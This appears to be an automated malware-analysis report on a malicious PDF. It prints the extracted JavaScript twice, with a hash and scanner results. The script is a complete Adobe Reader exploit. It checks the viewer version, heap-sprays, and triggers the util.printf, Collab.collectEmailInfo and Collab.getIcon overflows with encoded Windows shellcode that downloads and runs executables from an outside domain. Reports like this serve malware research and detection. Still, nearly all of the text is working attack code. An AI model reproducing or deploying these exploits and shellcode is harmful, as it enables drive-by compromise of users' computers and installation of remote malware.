var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6661%u7572%u3376%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6564%u6B66%u7A6D%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5312 bytes
SHA-256: c2db091436af9819b6a9ec8c3340b0e9dad3f8d884e9fbce881f3e1a0e8bcd2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6866%u6E6C%u7574%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6661%u7572%u3376%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6564%u6B66%u7A6D%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.